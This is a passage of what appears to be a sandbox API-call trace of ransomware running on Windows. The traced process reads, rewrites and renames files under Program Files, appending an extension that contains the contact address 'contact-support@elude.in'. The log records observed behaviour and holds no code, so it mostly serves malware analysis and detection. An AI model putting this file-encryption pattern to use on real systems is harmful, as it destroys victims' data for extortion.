lpMem=0x72b0f58 | out: hHeap=0x630000) returned 1 [0210.105] GetProcessHeap () returned 0x630000 [0210.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0210.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x432f0b17, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6ed, dwReserved0=0xbd47496, dwReserved1=0x72b0f50, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5040 [0210.106] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0210.106] Sleep (dwMilliseconds=0x1) [0210.118] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG") returned 1 [0210.118] GetProcessHeap () returned 0x630000 [0210.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e14) returned 0x6fe4288 [0210.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0210.120] CloseHandle (hObject=0x714) returned 1 [0210.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0xff00b748, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4e40 [0210.123] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0210.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0210.123] GetProcessHeap () returned 0x630000 [0210.123] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c61) returned 0x6fb40f8 [0210.124] GetProcessHeap () returned 0x630000 [0210.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c61) returned 0x6fdcf38 [0210.124] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.124] ReadFile (in: hFile=0x714, lpBuffer=0x6fb40f8, nNumberOfBytesToRead=0x4c40, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb40f8*, lpNumberOfBytesRead=0x4fbff0c*=0x4c40, lpOverlapped=0x0) returned 1 [0213.689] GetProcessHeap () returned 0x630000 [0213.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0213.689] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.689] WriteFile (in: hFile=0x714, lpBuffer=0x6fdcf38*, nNumberOfBytesToWrite=0x4c40, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesWritten=0x4fbff0c*=0x4c40, lpOverlapped=0x0) returned 1 [0213.689] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.689] WriteFile (in: hFile=0x714, lpBuffer=0x6fe1b77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1b77*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0213.689] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.689] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0213.690] CloseHandle (hObject=0x714) returned 1 [0213.690] GetProcessHeap () returned 0x630000 [0213.690] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0213.690] GetProcessHeap () returned 0x630000 [0213.690] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb40f8 | out: hHeap=0x630000) returned 1 [0213.691] GetProcessHeap () returned 0x630000 [0213.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0213.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x455054eb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c69, dwReserved0=0xbd47496, dwReserved1=0x6fb40f0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5540 [0213.691] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0213.691] Sleep (dwMilliseconds=0x1) [0215.770] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x4fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml") returned 1 [0215.770] GetProcessHeap () returned 0x630000 [0215.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4ff4) returned 0x74d7f88 [0215.770] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.770] CloseHandle (hObject=0x4bc) returned 1 [0215.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.771] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0215.772] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0215.772] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.772] GetProcessHeap () returned 0x630000 [0215.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d02d8 [0215.773] GetProcessHeap () returned 0x630000 [0215.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2bd0 [0215.773] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.773] ReadFile (in: hFile=0x4bc, lpBuffer=0x6d02d8, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d02d8*, lpNumberOfBytesRead=0x4fbff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0215.776] GetProcessHeap () returned 0x630000 [0215.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0215.776] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.776] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d2bd0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2bd0*, lpNumberOfBytesWritten=0x4fbff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0215.776] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.776] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d2daf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2daf*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.776] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.776] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.776] CloseHandle (hObject=0x4bc) returned 1 [0215.776] GetProcessHeap () returned 0x630000 [0215.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2bd0 | out: hHeap=0x630000) returned 1 [0215.776] GetProcessHeap () returned 0x630000 [0215.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d02d8 | out: hHeap=0x630000) returned 1 [0215.776] GetProcessHeap () returned 0x630000 [0215.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0215.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46907b5e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21d, dwReserved0=0x4fbfd20, dwReserved1=0x6d02d8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5380 [0215.777] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0215.777] Sleep (dwMilliseconds=0x1) [0215.798] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html", len=0x6f | out: pbstr=0x4fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html") returned 1 [0215.798] GetProcessHeap () returned 0x630000 [0215.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fec) returned 0x74d7f88 [0215.799] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.799] CloseHandle (hObject=0x4bc) returned 1 [0215.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.801] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xe4ba, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5580 [0215.802] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0215.802] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.802] GetProcessHeap () returned 0x630000 [0215.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0215.802] GetProcessHeap () returned 0x630000 [0215.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0215.802] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.802] ReadFile (in: hFile=0x4bc, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.967] GetProcessHeap () returned 0x630000 [0221.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0221.967] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.967] WriteFile (in: hFile=0x4bc, lpBuffer=0x7219168*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0223.087] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.088] WriteFile (in: hFile=0x4bc, lpBuffer=0x7224567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224567*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0224.398] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.398] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0224.399] CloseHandle (hObject=0x4bc) returned 1 [0225.141] GetProcessHeap () returned 0x630000 [0225.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0225.142] GetProcessHeap () returned 0x630000 [0225.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0225.142] GetProcessHeap () returned 0x630000 [0225.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0225.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4bb24af5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe4de, dwReserved0=0xbd47496, dwReserved1=0x719ec08, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0225.142] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0225.142] Sleep (dwMilliseconds=0x1) [0225.433] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x4fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml") returned 1 [0225.433] GetProcessHeap () returned 0x630000 [0225.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0225.433] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0225.766] CloseHandle (hObject=0x698) returned 1 [0225.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.767] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.948] FindFirstFileW (in: lpFileName="C:\\Program 